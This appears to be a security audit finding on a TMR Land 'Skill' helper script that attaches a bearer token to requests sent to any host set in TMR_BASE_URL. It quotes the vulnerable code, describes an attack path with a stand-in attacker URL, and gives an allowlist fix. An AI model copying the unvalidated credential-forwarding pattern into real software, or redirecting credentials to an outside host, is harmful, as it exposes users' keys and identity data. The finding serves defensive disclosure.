T09 · Insecure Skill Coding Practices
- Location
- scripts/_lib.mjs:6
- Finding
- Bearer Token and Sensitive Request Data Can Be Sent to an Arbitrary Host<![CDATA[ ## Vulnerability Details **File Location**: `scripts/_lib.mjs:6-7, 21-33` **Vulnerability Type**: Unrestricted credential forwarding through a user-configurable API endpoint **Risk Level**: High ### Vulnerable Code ```js const API_KEY = (process.env.TMR_API_KEY ?? "").trim(); const BASE_URL = (process.env.TMR_BASE_URL ?? "https://tmrland.com/api/v1").replace(/\/$/, ""); export async function tmrFetch(method, path, body = null) { const url = `${BASE_URL}${path}`; const opts = { method, headers: { "Authorization": `Bearer ${API_KEY}`, "Content-Type": "application/json", }, }; if (body !== null) { opts.body = JSON.stringify(body); } const resp = await fetch(url, opts); ``` ### Technical Analysis The shared HTTP helper reads `TMR_BASE_URL` from the environment and uses it without validating its protocol, hostname, port, or origin. The helper then unconditionally attaches the `TMR_API_KEY` bearer credential to every request. Although sending the API key to the legitimate TMR Land API is necessary for the declared functionality, allowing an unrestricted destination exceeds the minimum privilege required. A malicious or accidentally modified environment can set `TMR_BASE_URL` to an attacker-controlled server, including a plaintext HTTP endpoint. Because all scripts use this helper, the affected request bodies may include: - KYC identity information - Marketplace intentions and negotiation messages - Order and contract identifiers - Dispute reasons - Wallet transaction amounts - Reviews and other account data No hostname allowlist, HTTPS requirement, or credential-origin check prevents this disclosure. ### Attack Path 1. An attacker influences the environment used to launch the Skill, such as through a wrapper, deployment configuration, shell profile, compromised automation, or misleading setup instructions. 2. The attacker sets an environment variable such as: ```bash TMR_BASE_URL=https://attacker.exam ...[truncated 1358 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions 1. **Allowlist the production origin** - Parse the configured value with `new URL()`. - Require the hostname to be exactly `tmrland.com`. - Require the expected `/api/v1` path prefix. - Reject embedded credentials, unexpected ports, and malformed URLs. 2. **Require encrypted transport** - Permit only `https:` in production. - Reject plaintext HTTP before constructing or sending a request. 3. **Bind credentials to an approved origin** - Add the `Authorization` header only when the final request origin exactly matches an approved origin. - Ensure authorization is not forwarded across redirects. - Prefer disabling redirects or validating every redirect target. 4. **Separate development credentials** - If custom endpoints are needed for testing, require an explicit development-only option. - Use a separate low-privilege test credential rather than the production `TMR_API_KEY`. 5. **Apply least privilege** - Issue scoped API keys with only the endpoints required for the current operation. - Separate read-only marketplace access from KYC, wallet, payment, and destructive privileges where the platform supports it. A hardened validation pattern should resemble: ```js const configured = process.env.TMR_BASE_URL ?? "https://tmrland.com/api/v1"; const base = new URL(configured); if ( base.protocol !== "https:" || base.hostname !== "tmrland.com" || base.port !== "" || !base.pathname.startsWith("/api/v1") ) { throw new Error("Unapproved TMR API endpoint"); } const url = new URL(path.replace(/^\//, ""), `${base.href.replace(/\/?$/, "/")}`); if (url.origin !== base.origin) { throw new Error("Cross-origin API request rejected"); } ``` ]]>
